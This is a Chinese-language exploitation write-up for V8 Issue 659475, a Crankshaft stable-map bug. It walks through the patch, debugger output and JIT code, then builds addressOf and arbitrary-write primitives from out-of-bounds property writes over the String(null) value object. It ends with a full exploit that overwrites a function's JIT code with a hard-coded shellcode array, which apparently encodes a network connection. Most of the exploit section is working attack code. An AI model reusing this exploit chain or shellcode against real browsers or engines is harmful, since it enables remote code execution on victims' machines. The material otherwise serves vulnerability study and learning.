0x00 前言
Issue 659475的漏洞利用过程非常巧妙,结合了String(null)对象完成漏洞利用。本文将介绍这个巧妙的过程。
0x01 前置知识
String对象结构
在V8中,String
对象其实就是JSValue
对象,而决定JSValue
的值的关键就是它的value
字段。
使用如下代码进行调试
var str = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();
运行结果如下
DebugPrint: 0x28c3ab48a0f9: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
DebugPrint: 0x28c3ab48a119: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
DebugPrint: 0x28c3ab48a139: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x383e38bab061 <String[14]: bbbbbbbbbbbbbb>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
DebugPrint: 0x28c3ab48a159: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x1c1ca5f02251 <String[4]: null>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
从运行结果我们可以发现,str
和str2
虽然它们地址不一样,但是它们的字符串值一样,因此它们的value
字段都指向了同一个地址0x383e38baaff9
查看value
指向的位置的结构
pwndbg> x /20gx 0x1b780802aff8
0x1b780802aff8: 0x00000d92c0a82361 0x000000006548be92
0x1b780802b008: 0x0000000f00000000 0x6161616161616161
0x1b780802b018: 0xde61616161616161 0x00000d92c0a82361
value的结构如下
struct Value {
Map *map;
uint32_t hash;
uint64_t padding;
uint32_t length;
char content[length];
}
对于String
对象,可以使用[]
操作符进行字符串中字符的访问,但是不能进行修改。对于String(null)
,其value
指向的是一个null
的对象,其Value
结构中,length
字段为0x4,content
字段为0xdeadbeed6c6c756e
。
property 的存储
有关property access
的优化,已经在前面文章中详细介绍过,主要就是对于对象的慢属性访问会在JIT时被优化为下标的方式进行访问。对于一开始就是字典类型的对象var a = {}
,处理double
、SMI
和Object
类型时,都是直接给对应的字段赋值,其中SMI
存储使用的是高4字节;
使用如下代码测试
var a = {};
a.x0 = 1.1;
a.x1 = 0x666666;
a.x3 = a;
%DebugPrint(a);
%SystemBreak();
结果如下
DebugPrint: 0x3191c908a059: [JS_OBJECT_TYPE]
- map = 0x38fd4510c3e9 [FastProperties]
- prototype = 0x3672f7504101
- elements = 0x3a4833482241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- properties = {
#x0: <unboxed double> 1.1 (data field at offset 0)
#x1: 6710886 (data field at offset 1)
#x3: 0x3191c908a059 <an Object with map 0x38fd4510c3e9> (data field at offset 2)
}
pwndbg> x /20gx 0x3191c908a058
0x3191c908a058: 0x000038fd4510c3e9 0x00003a4833482241
0x3191c908a068: 0x00003a4833482241 0x3ff199999999999a
0x3191c908a078: 0x0066666600000000 0x00003191c908a059
而对于一开始不是字典类型的对象,如var a = new Date();
,处理double
类型的字段赋值时,会将double
数据先包装为MutableNumber
,然后将该对象的指针赋值给相应的字段,测试代码如下
var a = new Date();
a.x0 = 1.1;
a.x1 = 0x666666;
a.x3 = a;
%DebugPrint(a);
%SystemBreak();
运行如下
DebugPrint: 0x1d4cc9e8a061: [JSDate]
- map = 0x1cbdfe0c3e9 [FastProperties]
- prototype = 0x3d14b440c2d9
- elements = 0x20de36302241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
- value = 0x1d4cc9e8a0c1 <Number: 1.61562e+12>
- time = NaN
- properties = {
#x0: 0x1d4cc9e8a131 <MutableNumber: 1.1> (data field at offset 0)
#x1: 6710886 (data field at offset 1)
#x3: 0x1d4cc9e8a061 <a Date with map 0x1cbdfe0c3e9> (data field at offset 2)
}
0x1d4cc9e8a110: 0x0000000300000000 0x00001d4cc9e8a131
0x1d4cc9e8a120: 0x0066666600000000 0x00001d4cc9e8a061
0x1d4cc9e8a130: 0x000011d70e482eb9 0x3ff199999999999a
从这个特性中思考,如果我们有漏洞能够任意控制属性字段的内存值为某一个地址addr+0x1
,那么,接下来将一个double
数据赋值给这个字段时,就可以往addr+0x8
的地方写入一个unboxed double
数据。这意味着就实现了任意地址写。
编译器版本
由于本漏洞属于老版本的V8,其V8编译器结构如下
有两种编译器,一个是Crankshaft
,另一个是TurboFan
,两者的不同点在于
Crankshaft仅仅可以优化Javascript一部分语言的短板。例如,它并没有通过结构化的异常处理来设计代码,即代码块不能通过try、catch、finally等关键字划分。
function opt() {
var a = [1.1,2.2,3.3];
var b = [2.2,3.3,4.4];
var c = [a,b];
return c;
}
for (var i=0;i<10000;i++) {
opt();
}
加入-print-opt-code
选项,JIT信息如下
--- Raw source ---
() {
var a = [1.1,2.2,3.3];
var b = [2.2,3.3,4.4];
var c = [a,b];
return c;
}
--- Optimized code ---
optimization_id = 0
source_position = 12
kind = OPTIMIZED_FUNCTION
name = opt
stack_slots = 5
compiler = crankshaft
可以看到是用crankshaft
进行的编译,现在,我们在函数里加入try {} catch () {}
语句,然后重新测试,由于循环次数10000
触发了crankshaft
进行编译,当crankshaft
无法处理这种情况,于是无反应,将10000
改为100000
,即可触发turbofan
编译了。
--- Raw source ---
() {
try{
var a = [1.1,2.2,3.3];
var b = [2.2,3.3,4.4];
var c = [a,b];
return c;
} catch (e) {
}
}
--- Optimized code ---
optimization_id = 0
source_position = 12
kind = OPTIMIZED_FUNCTION
name = opt
stack_slots = 4
compiler = turbofan
0x02 漏洞分析利用
patch分析
关键的patch点如下
diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc
index 16c3639..79e78a5 100644
--- a/src/crankshaft/hydrogen.cc
+++ b/src/crankshaft/hydrogen.cc
@@ -6518,11 +6518,19 @@
access = access.WithRepresentation(Representation::Smi());
break;
case PropertyCellConstantType::kStableMap: {
- // The map may no longer be stable, deopt if it's ever different from
- // what is currently there, which will allow for restablization.
- Handle<Map> map(HeapObject::cast(cell->value())->map());
+ // First check that the previous value of the {cell} still has the
+ // map that we are about to check the new {value} for. If not, then
+ // the stable map assumption was invalidated and we cannot continue
+ // with the optimized code.
+ Handle<HeapObject> cell_value(HeapObject::cast(cell->value()));
+ Handle<Map> cell_value_map(cell_value->map());
+ if (!cell_value_map->is_stable()) {
+ return Bailout(kUnstableConstantTypeHeapObject);
+ }
+ top_info()->dependencies()->AssumeMapStable(cell_value_map);
+ // Now check that the new {value} is a HeapObject with the same map.
Add<HCheckHeapObject>(value);
- value = Add<HCheckMaps>(value, map);
+ value = Add<HCheckMaps>(value, cell_value_map);
access = access.WithRepresentation(Representation::HeapObject());
break;
}
从源码路径可以知道,该漏洞与crankshaft
编译器有关,patch修复了漏洞,该patch位于HandleGlobalVariableAssignment
函数,因此,该函数用于处理全局变量的赋值操作。在V8的优化过程中,有一个特点就是,对于stable map
的对象,其checkmap
节点会被移除,patch中最关键的一句是top_info()->dependencies()->AssumeMapStable(cell_value_map)
。
其中AssumeMapStable
源码如下
void CompilationDependencies::AssumeMapStable(Handle<Map> map) {
DCHECK(map->is_stable());
// Do nothing if the map cannot transition.
if (map->CanTransition()) {
Insert(DependentCode::kPrototypeCheckGroup, map);
}
}
由于加入了这个DependentCode::kPrototypeCheckGroup
的检查,如果后期map
变成unstable
了,即使没有checkmap
节点的检查,也因为有该检查而不会出错,保证其在结构发生变化时能进行deoptimization bailout
。
POC编写
我们的测试程序如下
var a;
function Ctor() {
a = new Date();
}
for (var i=0;i<10000;i++) {
Ctor();
}
%DebugPrint(a);
运行结果如下
DebugPrint: 0xb6f27a26391: [JSDate]
- map = 0x17bdc13042a9 [FastProperties]
- prototype = 0x2bb939b8c2d9
- elements = 0x147f67e02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
- value = 0xb6f27a263f1 <Number: 1.61562e+12>
- time = NaN
- properties = {
}
0x17bdc13042a9: [Map]
- type: JS_DATE_TYPE
- instance size: 96
- inobject properties: 0
- elements kind: FAST_HOLEY_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x147f67e02311 <undefined>
- instance descriptors (own) #0: 0x147f67e02231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0x2bb939b8c2d9 <an Object with map 0x17bdc1304301>
- constructor: 0x2bb939b8c269 <JS Function Date (SharedFunctionInfo 0x147f67e3ec79)>
- code cache: 0x147f67e02241 <FixedArray[0]>
- dependent code: 0x2bb939babd79 <FixedArray[3]>
- construction counter: 0
其中可以观察到其MAP
结构里有一个stable_map
标记,我们接着b src/crankshaft/hydrogen.cc:6515
,在patch点上方下断点进行调试。
In file: /home/sea/Desktop/v8/src/crankshaft/hydrogen.cc
6519 break;
6520 case PropertyCellConstantType::kStableMap: {
6521 // The map may no longer be stable, deopt if it's ever different from
6522 // what is currently there, which will allow for restablization.
6523 Handle<Map> map(HeapObject::cast(cell->value())->map());
► 6524 Add<HCheckHeapObject>(value);
6525 value = Add<HCheckMaps>(value, map);
6526 access = access.WithRepresentation(Representation::HeapObject());
6527 break;
6528 }
6529 }
pwndbg> p map->is_stable()
$17 = true
可以看见其MAP
是stable
的。
在前面的基础上,加上对全局变量的属性进行赋值的操作,并进行优化
var a;
function Ctor() {
a = new Date();
}
function opt() {
a.x = 1;
}
for (var i=0;i<10000;i++) {
Ctor();
}
for (var i=0;i<10000;i++) {
opt();
}
查看生成的JIT代码,加了patch和没加patch,使用--print-opt-code
打印的代码竟然在实质上没有任何的差别。
0x27792c064e0 0 55 push rbp
0x27792c064e1 1 4889e5 REX.W movq rbp,rsp
0x27792c064e4 4 56 push rsi
0x27792c064e5 5 57 push rdi
0x27792c064e6 6 4883ec08 REX.W subq rsp,0x8
0x27792c064ea 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x27792c064ee 14 488945e8 REX.W movq [rbp-0x18],rax
0x27792c064f2 18 488bf0 REX.W movq rsi,rax
0x27792c064f5 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x27792c064fc 28 7305 jnc 35 (0x27792c06503)
0x27792c064fe 30 e8ddc3f5ff call StackCheck (0x27792b628e0) ;; code: BUILTIN
0x27792c06503 35 48b841b7ba24643c0000 REX.W movq rax,0x3c6424bab741 ;; object: 0x3c6424bab741 PropertyCell for 0x2d07f24a6399 <a Date with map 0x14b2a498c391>
0x27792c0650d 45 488b400f REX.W movq rax,[rax+0xf]
0x27792c06511 49 488b4007 REX.W movq rax,[rax+0x7]
0x27792c06515 53 c7401301000000 movl [rax+0x13],0x1
0x27792c0651c 60 48b8112358a8ae240000 REX.W movq rax,0x24aea8582311 ;; object: 0x24aea8582311 <undefined>
0x27792c06526 70 488be5 REX.W movq rsp,rbp
0x27792c06529 73 5d pop rbp
0x27792c0652a 74 c20800 ret 0x8
0x27792c0652d 77 0f1f00 nop
赋值操作显然没有过多的检查,这是因为该对象的MAP
被标识为stable map
,如果我们将a = new Date()
改成a = {}
,其代码如下
0xbbb2be06700 0 55 push rbp
0xbbb2be06701 1 4889e5 REX.W movq rbp,rsp
0xbbb2be06704 4 56 push rsi
0xbbb2be06705 5 57 push rdi
0xbbb2be06706 6 4883ec08 REX.W subq rsp,0x8
0xbbb2be0670a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0xbbb2be0670e 14 488945e8 REX.W movq [rbp-0x18],rax
0xbbb2be06712 18 488bf0 REX.W movq rsi,rax
0xbbb2be06715 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xbbb2be0671c 28 7305 jnc 35 (0xbbb2be06723)
0xbbb2be0671e 30 e8bdc1f5ff call StackCheck (0xbbb2bd628e0) ;; code: BUILTIN
0xbbb2be06723 35 48b841b7720d5a180000 REX.W movq rax,0x185a0d72b741 ;; object: 0x185a0d72b741 PropertyCell for 0x325b7f0af1b1 <an Object with map 0x560aef0c391>
0xbbb2be0672d 45 488b400f REX.W movq rax,[rax+0xf]
0xbbb2be06731 49 a801 test al,0x1
0xbbb2be06733 51 0f842c000000 jz 101 (0xbbb2be06765)
0xbbb2be06739 57 49ba91c3f0ae60050000 REX.W movq r10,0x560aef0c391 ;; object: 0x560aef0c391 <Map(FAST_HOLEY_ELEMENTS)>
0xbbb2be06743 67 4c3950ff REX.W cmpq [rax-0x1],r10
0xbbb2be06747 71 0f851d000000 jnz 106 (0xbbb2be0676a)
0xbbb2be0674d 77 c7401b01000000 movl [rax+0x1b],0x1
0xbbb2be06754 84 48b8112348ddd5280000 REX.W movq rax,0x28d5dd482311 ;; object: 0x28d5dd482311 <undefined>
0xbbb2be0675e 94 488be5 REX.W movq rsp,rbp
0xbbb2be06761 97 5d pop rbp
0xbbb2be06762 98 c20800 ret 0x8
0xbbb2be06765 101 e8a0d8d7ff call 0xbbb2bb8400a ;; deoptimization bailout 1
0xbbb2be0676a 106 e8a5d8d7ff call 0xbbb2bb84014 ;; deoptimization bailout 2
0xbbb2be0676f 111 90 nop
显然这里多了一个Map(FAST_HOLEY_ELEMENTS)
的检查。既然加了patch和没加patch的生成的代码一样,为何后者能够有漏洞,这是因为虽然checkmap
都移除了,但是checkmap
仅能代表在这段JIT代码里可以做检查,调试发现,前者是无法执行到JIT的那个代码的,因为在执行JIT代码之前就已经做了检查(kPrototypeCheckGroup标记导致)。而后者能够执行到JIT代码。
最终POC如下
var a;
function Ctor() {
a = new Date();
}
function opt() {
a.x = 0x123456;
}
for (var i=0;i<10000;i++) {
Ctor();
}
for (var i=0;i<10000;i++) {
opt();
}
Ctor();
opt();
%DebugPrint(a);
var str = new String(null);
print(str);
程序最终会崩溃
DebugPrint: 0xf89de5a6539: [JSDate]
- map = 0x3f13527042a9 [FastProperties]
- prototype = 0x3fccf1f0c2d9
- elements = 0x1bcb0fe02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
- value = 0xf89de5a6599 <Number: 1.61563e+12>
- time = NaN
- properties = {
}
Received signal 11 <unknown> 000000000000
==== C stack trace ===============================
[0x7f2ad9dc7a4e]
[0x7f2ad9dc79a5]
[0x7f2ad99cb8a0]
[0x7f2ad8691b9c]
[0x7f2ad869a1cd]
[0x7f2ad869a8ae]
[0x7f2ad86bb26c]
[0x563cbf958f25]
[0x563cbf958e45]
[0x7f2ad86a244a]
[0x7f2ad87cceef]
[0x7f2ad87cb9d2]
[0x7f2ad87cb52f]
[0x2c31d0e043a7]
[end of stack trace]
Segmentation fault (core dumped)
虽然我们在opt
函数里增加了一个属性,我们看到properties
为空值,这意味着已发生了溢出。
可以看到,0x123456
越界写到了后面,破坏了某处数据,导致程序崩溃,该处实际上就是null Value
对象。我们将最后的opt
函数注释掉,然后重新调试。
DebugPrint: 0x2609351265d9: [JSValue]
- map = 0x15994da86981 [FastProperties]
- prototype = 0x1a0972b178c1
- elements = 0x2adf5c602241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x2adf5c602251 <String[4]: null>
- properties = {
#length: 0x2adf5c656379 <AccessorInfo> (accessor constant)
}
addressOf原语构造
该对象的value
指针指向了0x2adf5c602251
,而该处正是属性值越界写的地方,因此,我们可以控制整个null Value
对象的数据,那么,我们只需要篡改length
和content
,就能完成地址泄露。
文章开头介绍过有关属性存储的一些性质,那么,我们越界写,将content
对应的位置属性赋值为对象地址,将length
对应的位置的属性赋值为合适的整数,那么就可以再通过String(null)
对象将content的内容读取出来,也就是实现了地址泄露,为了完成这个过程,我们还得保证不能损坏null Value
对象的前2个字段的数据,也就是MAP
和hash
。由于hash
仅在低4字节有数据,那么我们可以将这个位置对应的属性赋值为0,因为0属于SMI
类型,被保存到hash
字段的高4字节处不影响其值;接下来是如何绕过MAP
的值,我们可以考虑在对应字段赋值为一个double
值,这样,该处数据不会被覆盖,double
写入相当于是mov [val+0x7] = double_val
该处是一个MAP
对象内部,这个位置的数据正好是一个不变的量,因此,我们只需要原模原样的赋值回去就可以了。
pwndbg> x /2gx 0x0000335b22d82361+0x7
0x335b22d82368: 0x0019000400007300 0x00000000082003ff
于是可以构造出addressOf
原语
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}
var set;
function opt_set() {
set = new Set();
}
function fakeNullStrValue(obj) {
set.x0 = p64f(0x00007300,0x00190004); //skip map
set.x1 = 0; //hash
set.x2 = 0x8; //length
set.x3 = obj; //content
}
for (var i=0;i<10000;i++) {
opt_set();
}
for (var i=0;i<10000;i++) {
fakeNullStrValue({});
}
var str = new String(null);
function addressOf(obj) {
opt_set();
fakeNullStrValue(obj);
var addr = 0;
for (var i=0;i<0x8;i++) {
addr += (str.charCodeAt(i) * Math.pow(0x100,i));
}
return addr - 0x1;
}
print("str_addr=" + addressOf(str).toString(16));
arb_write原语构造
如何利用这个属性值越界溢出构造任意写原语呢?首先,我没有找到方法如何让一个Array对象临接于properties
的位置之后,不然我们可以很容易通过修改Array
对象的length
属性来构造一个oob
数组。所以我们可以考虑再借助另外两个不同的对象,这样有三个对象,由于最开始他们的properties
都为空值,因此,他们的properties
地址会一样,那么,首先利用第一个对象的属性溢出,伪造content = null_value_self_addr+0x1
,
那么接下来用第二个对象的属性溢出,往content
位置赋值一个地址addr-0x7
的double
数据,那么这个地址值addr-0x7
会被写入到null_value_self_addr+0x8
处,对应的也就是null value
对象的hash字段,
利用最后一个对象的属性溢出,往hash
字段赋值为值val
的double
数据,那么val
就会被写入到addr
处,构造出了任意地址写的原语。
var set;
function opt_set() {
set = new Set();
}
function fakeNullStrValue(obj) {
set.x0 = p64f(0x00007300,0x00190004); //skip map
set.x1 = 0; //hash
set.x2 = 0x8; //length
set.x3 = obj; //content
}
var map;
function opt_map() {
map = new Map();
}
function writeNullStrValuePtrContent(val) {
map.x0 = p64f(0x00007300,0x00190004); //skip map
map.x1 = 0; //hash
map.x2 = 0x8; //length
map.x3 = val //content
}
var date;
function opt_date() {
date = new Date();
}
function writeBackingStorePtr(val) {
date.x0 = p64f(0x00007300,0x00190004); //skip map
date.x1 = val; //hash
}
for (var i=0;i<10000;i++) {
opt_set();
}
for (var i=0;i<10000;i++) {
fakeNullStrValue({});
}
var str = new String(null);
for (var i=0;i<10000;i++) {
opt_map();
}
for (var i=0;i<10000;i++) {
writeNullStrValuePtrContent(i+1.1);
}
for (var i=0;i<10000;i++) {
opt_date();
}
for (var i=0;i<10000;i++) {
writeBackingStorePtr(i+1.1);
}
function arb_write(addr,value) {
opt_set();
fakeNullStrValue(String(null));
//%DebugPrint(set);
//%SystemBreak();
opt_map();
writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000));
//%DebugPrint(map);
//%SystemBreak();
opt_date();
//%DebugPrint(date);
writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000));
//%SystemBreak();
}
其中,String(null)
与new String(null)
不同之处在于String(null)
直接得到了那个null value
对象,因此在写入时,content就直接是null value
对象本身的地址。
exp
当构造出以上两个原语以后,就能够轻松写出exp了
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}
var set;
function opt_set() {
set = new Set();
}
function fakeNullStrValue(obj) {
set.x0 = p64f(0x00007300,0x00190004); //skip map
set.x1 = 0; //hash
set.x2 = 0x8; //length
set.x3 = obj; //content
}
var map;
function opt_map() {
map = new Map();
}
function writeNullStrValuePtrContent(val) {
map.x0 = p64f(0x00007300,0x00190004); //skip map
map.x1 = 0; //hash
map.x2 = 0x8; //length
map.x3 = val //content
}
var date;
function opt_date() {
date = new Date();
}
function writeBackingStorePtr(val) {
date.x0 = p64f(0x00007300,0x00190004); //skip map
date.x1 = val; //hash
}
for (var i=0;i<10000;i++) {
opt_set();
}
for (var i=0;i<10000;i++) {
fakeNullStrValue({});
}
var str = new String(null);
function addressOf(obj) {
opt_set();
fakeNullStrValue(obj);
var addr = 0;
for (var i=0;i<0x8;i++) {
addr += (str.charCodeAt(i) * Math.pow(0x100,i));
}
return addr - 0x1;
}
for (var i=0;i<10000;i++) {
opt_map();
}
for (var i=0;i<10000;i++) {
writeNullStrValuePtrContent(i+1.1);
}
for (var i=0;i<10000;i++) {
opt_date();
}
for (var i=0;i<10000;i++) {
writeBackingStorePtr(i+1.1);
}
var arr_buf = new ArrayBuffer(0x100);
var func = new Function("var a = 0x66666666;");
var shellcode_ptr_addr = addressOf(func) + 0x38;
print("shellcode_ptr_addr="+shellcode_ptr_addr.toString(16));
var arr_buf_addr = addressOf(arr_buf);
var backing_store_ptr_addr = arr_buf_addr + 0x20;
print("backing_store_ptr_addr=" + backing_store_ptr_addr.toString(16));
var str_addr = addressOf(str);
print("str_addr=" + str_addr.toString(16));
function arb_write(addr,value) {
opt_set();
fakeNullStrValue(String(null));
//%DebugPrint(set);
//%SystemBreak();
opt_map();
writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000));
//%DebugPrint(map);
//%SystemBreak();
opt_date();
//%DebugPrint(date);
writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000));
//%SystemBreak();
}
arb_write(backing_store_ptr_addr - 0x7,shellcode_ptr_addr);
var arb_dv = new DataView(arr_buf);
var shellcode_addr = u64f(arb_dv.getFloat64(0,true));
print("shellcode_addr=" + shellcode_addr.toString(16));
arb_write(backing_store_ptr_addr - 0x7,shellcode_addr);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
arb_dv.setUint32(i*4,shellcode[i],true);
}
%DebugPrint(str);
%SystemBreak();
//执行shellcode
//func();
0x03 感想
本漏洞复现中学到了有关String
的知识,并且利用了指针的指针的概念。感觉收获很多。